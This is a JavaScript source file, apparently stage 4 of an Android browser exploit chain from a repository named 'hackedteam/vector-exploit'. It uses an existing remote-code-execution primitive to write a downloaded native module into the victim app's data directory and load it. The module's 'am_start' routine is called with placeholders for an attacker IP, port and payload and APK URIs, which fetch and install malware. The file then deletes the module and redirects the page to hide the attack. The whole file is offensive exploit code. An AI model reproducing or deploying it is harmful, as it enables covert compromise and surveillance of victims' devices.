hackedteam/vector-exploit

// [ Stage 4 ] -------------------------------------------------------------- //
// MAGIC: -213173581276 (= -1 * 0x44 * 0xbadadd07)

/** @define {boolean} */
var ENABLE_DEBUG = true;

if (window.INFO === undefined) {
    INFO = function(msg) {console.log(msg)};
}

// This only happens in non-debug mode
if (window.ERR === undefined) {
    ERR = function() {
        window.location.replace("${B_REDIRECT_URI}");
    throw Error();
    };
}

function finish() {
    window.location.replace("${B_REDIRECT_URI}");
}

// ---------------------------------------------------------------------------- //

function stage4(memobj, rce, libc, libwebcore, addr) {
    ENABLE_DEBUG && INFO("> [ Stage 4 ]");

    var system = libc.requiresymbol("system");
    var fopen  = libc.requiresymbol("fopen");
    var fread  = libc.requiresymbol("fread");
    var fgets  = libc.requiresymbol("fgets");
    var fwrite = libc.requiresymbol("fwrite");
    var fclose = libc.requiresymbol("fclose");
    var getpid = libc.requiresymbol("getpid");

    var cmd = addr + 0xd000;
    memobj.writestring(cmd, "/proc/self/cmdline");
    var mode = addr + 0xd100;
    memobj.writestring(mode, "r");
    var buffer = addr + 0xd200;
    
    var fp = rce.call(fopen, cmd, mode);
    
    if (fp === 0) ERR("Can't open file");

    var retval = rce.call(fgets, buffer, 0x100, fp);
    if (retval != buffer) {
    ERR("fgets() failed: " + retval);
    }
    var processname = memobj.readstring(buffer);
    rce.call(fclose, fp);

    var pid = rce.call(getpid);
    ENABLE_DEBUG && INFO("Got RCE for " + processname + " (PID: " + pid + ")");

    function complete_stage4() {
    if (window['g_module'] === null) {
        ERR("Module download failed!");
    }

    function writefile(filename, view) {
        memobj.writestring(cmd, filename);
        memobj.writestring(mode, "wb");
        fp = rce.call(fopen, cmd, mode);
        if (fp === 0) {
        ERR("cannot open file for writing: " + filename);
        }

        var remaining = view.byteLength;
        var offset = 0;
        var length = 0;
        while (remaining > 0) {
        if (remaining < 4) {
            length = remaining;
            for (var i = 0; i < remaining; i++) {
            memobj.write8(buffer + i, view.getUint8(offset + i));
            }
        } else {
            for (var i = 0; i < Math.min(0x100/4, remaining/4); i++) {
            memobj.write32(buffer + i*4, view.getUint32(offset + i*4, true));
            }
            length = Math.min(0x100/4, remaining/4)*4;
        }
        

        var written = rce.call(fwrite, buffer, 1, length, fp);
        if (written != length) {
            ERR("Failed to write file: write for " + length + " issued, got " + written);
        }
        
        offset += length;
        remaining -= length;
        }

        rce.call(fclose, fp);
    }


    var basepath = "/data/data/" + processname;
    var modulepath = basepath + "/module.so";
    writefile(modulepath, window.g_module);

    var dlsym = libc.findreloc("dlsym")
    var dlopen = libc.findreloc("dlopen")
    var dlclose = libc.findreloc("dlclose")
    
    memobj.writestring(cmd, modulepath);
    var handle = rce.call(dlopen, cmd, 0); // RTLD_NOW
    memobj.writestring(cmd, "am_start");
    var am_start = rce.call(dlsym, handle, cmd);

    memobj.writestring(cmd, basepath);

    // struct params_t {
    //   char key[0x100];
    //   char ex_uri[0x100];
    //   char apk_uri[0x100];
    //   char ex_filename[0x100];
    //   char apk_filename[0x100];
    //   char ip[0x100];
    // };

    var params = cmd + 0x100;

    memobj.writearray(params + 0x000, eval("${R_KEY}"));     // key
    memobj.writestring(params + 0x100, "${B_EXPLOIT_REF}");  // ex_uri
    memobj.writestring(params + 0x200, "${B_APK_REF}");      // apk_uri
    memobj.writestring(params + 0x300, "${B_EXPLOIT_NAME}"); // ex_filename
    memobj.writestring(params + 0x400, "${B_APK_NAME}");     // apk_filename
    memobj.writestring(params + 0x500, "${B_IP}");           // ip
    
    var port = parseInt("${B_PORT}");

    var result = rce.forkingcall(am_start, cmd, port, params);

    memobj.writestring(cmd, "rm " + modulepath);
    rce.call(system, cmd);

    // if (ENABLE_DEBUG) {
    //     alert(result);
    // }

    finish();
    }

    if (window['g_module'] !== undefined) {
    complete_stage4();
    return;
    }
    
    var intid;

    intid = window.setInterval(function () {
    if (window['g_module'] !== undefined) {
        complete_stage4();
        window.clearInterval(intid);
    }
    }, 100);

}